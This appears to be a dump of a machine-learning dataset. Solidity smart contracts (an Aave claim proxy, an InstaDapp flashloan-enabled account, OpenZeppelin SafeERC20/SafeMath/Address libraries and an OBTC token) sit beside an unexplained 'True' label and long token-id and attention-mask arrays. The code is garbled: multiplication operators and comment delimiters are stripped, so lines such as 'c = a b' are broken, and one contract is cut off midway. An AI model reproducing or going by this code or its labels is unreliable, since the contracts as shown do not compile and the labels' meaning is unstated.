1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
// SPDX-License-Identifier: MIT pragma solidity =0.7.6; abstract contract IStakedTokenIncentivesController { function claimRewards( address[] calldata assets, uint256 amount, address to ) external virtual returns (uint256); } contract AaveClaimProxy { address public constant STAKED_CONTROLLER_ADDR = 0xd784927Ff2f95ba542BfC824c8a8a98F3495f6b5; function claimRewards( address[] memory assets, uint256 amount, address to ) public { IStakedTokenIncentivesController(STAKED_CONTROLLER_ADDR).claimRewards( assets, amount, to ); } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1021, 1012, 1020, 1025, 10061, 3206, 21541, 13808, 11927, 11045, 11483, 13013, 24653, 8663, 13181, 10820, 1063, 3853, 4366, 15603, 18117, 1006, 4769, 1031, 1033, 2655, 2850, 2696, 7045, 1010, 21318, 3372, 17788, 2575, 3815, 1010, 4769, 2000, 1007, 6327, 7484, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1065, 3206, 9779, 3726, 25154, 21572, 18037, 1063, 4769, 2270, 5377, 8406, 2094, 1035, 11486, 1035, 5587, 2099, 1027, 1014, 2595, 2094, 2581, 2620, 26224, 22907, 4246, 2475, 2546, 2683, 2629, 3676, 27009, 2475, 29292, 2278, 2620, 18827, 2278, 2620, 2050, 2620, 2050, 2683, 2620, 2546, 22022, 2683, 2629, 2546, 2575, 2497, 2629, 1025, 3853, 4366, 15603, 18117, 1006, 4769, 1031, 1033, 3638, 7045, 1010, 21318, 3372, 17788, 2575, 3815, 1010, 4769, 2000, 1007, 2270, 1063, 21541, 13808, 11927, 11045, 11483, 13013, 24653, 8663, 13181, 10820, 1006, 8406, 2094, 1035, 11486, 1035, 5587, 2099, 1007, 1012, 4366, 15603, 18117, 1006, 7045, 1010, 3815, 1010, 2000, 1007, 1025, 1065, 1065, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import { Variables } from "./variables.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; /** * @title InstaAccountV2. * @dev DeFi Smart Account Wallet. * @notice Flashloan Module / interface ConnectorsInterface { function isConnectors(string[] calldata connectorNames) external view returns (bool, address[] memory); } interface FlashloanInterface { function initiateFlashLoan( address token, uint256 amount, uint256 route, bytes calldata data ) external; } contract Constants is Variables { // InstaIndex Address. address public immutable instaIndex; // Connectors Address. address public immutable connectorsM1; // Instapool Address. address public immutable flashloan; uint256 internal constant _NOT_ENTERED = 1; uint256 internal constant _ENTERED = 2; constructor(address _instaIndex, address _connectors, address _flashloan) { connectorsM1 = _connectors; instaIndex = _instaIndex; flashloan = _flashloan; } } contract InstaImplementationM2 is Constants { constructor(address _instaIndex, address _connectors, address _flashloan) Constants(_instaIndex, _connectors, _flashloan) {} function decodeEvent(bytes memory response) internal pure returns (string memory _eventCode, bytes memory _eventParams) { if (response.length > 0) { (_eventCode, _eventParams) = abi.decode(response, (string, bytes)); } } event LogCast( address indexed origin, address indexed sender, uint256 value, string[] targetsNames, address[] targets, string[] eventNames, bytes[] eventParams ); event LogFlashCast( address indexed origin, address tokens, uint256 amount, uint256 route ); receive() external payable {} /* * @dev Delegate the calls to Connector. * @param _target Connector address * @param _data CallData of function. / function spell(address _target, bytes memory _data) internal returns (bytes memory response) { require(_target != address(0), "target-invalid"); assembly { let succeeded := delegatecall(gas(), _target, add(_data, 0x20), mload(_data), 0, 0) let size := returndatasize() response := mload(0x40) mstore(0x40, add(response, and(add(add(size, 0x20), 0x1f), not(0x1f)))) mstore(response, size) returndatacopy(add(response, 0x20), 0, size) switch iszero(succeeded) case 1 { // throw if delegatecall failed returndatacopy(0x00, 0x00, size) revert(0x00, size) } } } function _cast( string[] calldata _targetNames, bytes[] calldata _datas, address _origin, uint _length ) internal { require(_status == _ENTERED, "2: cast-not-entered"); string[] memory eventNames = new string[](_length); bytes[] memory eventParams = new bytes[](_length); (bool isOk, address[] memory _targets) = ConnectorsInterface(connectorsM1).isConnectors(_targetNames); require(isOk, "2: not-connector"); for (uint i = 0; i < _length; i++) { bytes memory response = spell(_targets[i], _datas[i]); (eventNames[i], eventParams[i]) = decodeEvent(response); } emit LogCast( _origin, msg.sender, msg.value, _targetNames, _targets, eventNames, eventParams ); _status = _NOT_ENTERED; } /* * @dev Callback function for flashloan * @param sender msg.sender of the cast(). * @param _token flashloan token address. * @param _amount flashloan amount. * @param _targetNames Array of Connector address. * @param _datas Array of Calldata. / function flashCallback( address sender, address _token, uint256 _amount, string[] calldata _targetNames, bytes[] calldata _datas, address _origin ) external payable { uint256 _length = _targetNames.length; require(_auth[sender], "2: not-an-owner"); require(msg.sender == flashloan, "2: not-flashloan-contract"); require(_length != 0, "2: length-invalid"); require(_length == _datas.length , "2: array-length-invalid"); _cast(_targetNames, _datas, _origin, _length); if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { uint256 ethBalance = address(this).balance; uint256 transferAmt = ethBalance > _amount ? _amount : ethBalance; payable(flashloan).transfer(transferAmt); } else { uint256 tokenBalance = IERC20(_token).balanceOf(address(this)); uint256 transferAmt = tokenBalance > _amount ? _amount : tokenBalance; SafeERC20.safeTransfer(IERC20(_token), flashloan, transferAmt); } } /* * @dev This function is similar cast() on M1 with flashloan access. * @param _targetNames Array of Connector names. * @param _datas Array of Calldata. * @param _token Flashloan address. * @param _amount Flashloan amount. / function cast( string[] calldata _targetNames, bytes[] calldata _datas, address _token, uint256 _amount, uint route, // 0 for dydx route address _origin ) external { require(_status != _ENTERED, "2: cast-entered"); _status = _ENTERED; require(_auth[msg.sender], "2: permission-denied"); if (_amount == 0) { uint256 _length = _targetNames.length; require(_length != 0, "2: length-invalid"); require(_length == _datas.length , "2: array-length-invalid"); _cast(_targetNames, _datas, _origin, _length); } else { bytes memory data = abi.encodeWithSelector( this.flashCallback.selector, msg.sender, _token, _amount, _targetNames, _datas, flashloan ); FlashloanInterface(flashloan).initiateFlashLoan(_token, _amount, route, data); emit LogFlashCast(_origin, _token, _amount, route); } require(_status == _NOT_ENTERED, "2: cast-still-entered"); } } pragma solidity ^0.7.0; contract Variables { // M1: Auth Module(Address of Auth => bool). mapping (address => bool) internal _auth; // M2: Reentrancy Guard variable uint256 internal _status; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1014, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 12324, 1063, 10857, 1065, 2013, 1000, 1012, 1013, 10857, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 3647, 2121, 2278, 11387, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 16021, 2696, 6305, 3597, 16671, 2615, 2475, 1012, 1008, 1030, 16475, 13366, 2072, 6047, 4070, 15882, 1012, 1008, 1030, 5060, 5956, 4135, 2319, 11336, 1008, 1013, 8278, 19400, 11493, 3334, 12172, 1063, 3853, 2003, 8663, 2638, 24817, 1006, 5164, 1031, 1033, 2655, 2850, 2696, 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pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error * Name : Obitanchain (OBTC) * Decimals : 8 * TotalSupply : 30000000000 * * * * / library SafeMath { /* * @dev Multiplies two numbers, throws on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. / function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /* * @dev Adds two numbers, throws on overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 